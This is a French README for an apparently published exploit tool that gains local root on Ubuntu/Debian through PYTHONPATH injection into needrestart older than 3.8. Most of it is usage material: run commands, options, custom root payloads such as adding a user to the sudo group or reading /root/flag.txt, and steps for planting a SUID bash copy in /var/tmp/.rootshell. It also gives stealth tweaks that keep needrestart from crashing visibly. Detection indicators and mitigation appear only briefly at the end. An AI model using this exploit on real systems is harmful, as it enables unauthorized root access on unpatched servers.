
needrestart < 3.8 Escalade de privilèges locale via injection PYTHONPATH
Exploit d'escalade de privilèges locale ciblant needrestart < 3.8 sur les systèmes Ubuntu/Debian via l'injection de PYTHONPATH.
needrestart est un utilitaire couramment installé sur les serveurs Ubuntu/Debian qui vérifie quels services doivent être redémarrés après des mises à niveau de bibliothèques. Il s'exécute en tant que root et est généralement déclenché automatiquement après les opérations apt ou invoqué directement via sudo.
Lors de la vérification des processus Python, needrestart ré-invoque l'interpréteur Python tout en héritant de l'environnement complet du processus à partir de /proc/<pid>/environ — y compris PYTHONPATH. Un utilisateur local non privilégié peut exploiter cela en :
PYTHONPATH sur un répertoire contenant un paquet importlib malveillantimportlib/__init__.py de l'attaquant en tant que root| Paquet | Vulnérable | Corrigé |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Confirmé sur :
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Ensuite, déclenchez needrestart depuis un autre terminal :
# Si vous avez un accès sudo direct à needrestart :
sudo /usr/sbin/needrestart
# Ou déclenchez-le via apt (needrestart s'exécute comme hook post-apt) :
sudo apt update && sudo apt install --reinstall coreutils
Une fois que needrestart se déclenche, l'exploit crée un shell SUID dans /var/tmp/.rootshell et vous place automatiquement dans un shell root.
Si l'exécution automatique ne fonctionne pas, récupérez le shell manuellement :
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options :
-c <commande> Commande shell personnalisée à exécuter en tant que root (par défaut : copier le binaire SUID)
-w <secondes> Temps d'attente maximum en secondes (par défaut : 300)
-t Mode déclenchement : tente de lancer needrestart via apt
-n Pas de nettoyage : conserve le répertoire de payload après exploitation
-h Affiche ce message d'aide
# Par défaut — crée une copie SUID de /bin/bash dans /var/tmp/.rootshell
./exploit.sh
# Déclenchement automatique de needrestart via apt (nécessite un accès sudo apt)
./exploit.sh -t
# Payload personnalisée : ajoute l'utilisateur courant au groupe sudo
./exploit.sh -c 'usermod -aG sudo targetuser'
# Payload personnalisée : lit un fichier restreint
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Attente prolongée (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Crée /tmp/.nr_XXXX/importlib/__init__.py avec le payload │
│ qui exécute os.system() pour copier /bin/bash en binaire │
│ SUID │
├───────────────────────────────────────────────────────────────┤
│ 2. Lance un processus Python de longue durée avec │
│ PYTHONPATH=/tmp/.nr_XXXX exporté dans son environnement │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart s'exécute (via sudo ou hook apt), analyse │
│ /proc/*/environ, trouve le processus Python │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart ré-invoque python3 EN TANT QUE ROOT en │
│ héritant du PYTHONPATH de l'attaquant → charge importlib │
│ malveillant │
├───────────────────────────────────────────────────────────────┤
│ 5. Le payload s'exécute en tant que root : cp /bin/bash + │
│ chmod 4755 → l'attaquant lance /var/tmp/.rootshell -p │
│ → shell root │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ plutôt que /tmp/ car /tmp est souvent monté avec nosuid, ce qui supprime silencieusement le bit SUID.importlib/__init__.py malveillant restaure le vrai importlib après exécution du payload en nettoyant sys.path et sys.modules, afin que needrestart ne plante pas visiblement..py (pas un one-liner -c) pour une meilleure compatibilité avec l'analyse de l'interpréteur de needrestart.Indices que cet exploit a été utilisé :
/var/tmp/ ou /tmp/PYTHONPATH inhabituelles pointant vers des répertoires temporaires/tmp/.nr_* contenant un sous-répertoire importlib/# Mettez à jour needrestart vers la version corrigée
sudo apt update && sudo apt install needrestart
# Ou désactivez complètement l'analyse de l'interpréteur
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
Cet outil est fourni à des fins de tests de sécurité autorisés et d'éducation uniquement. Utilisez-le uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
MIT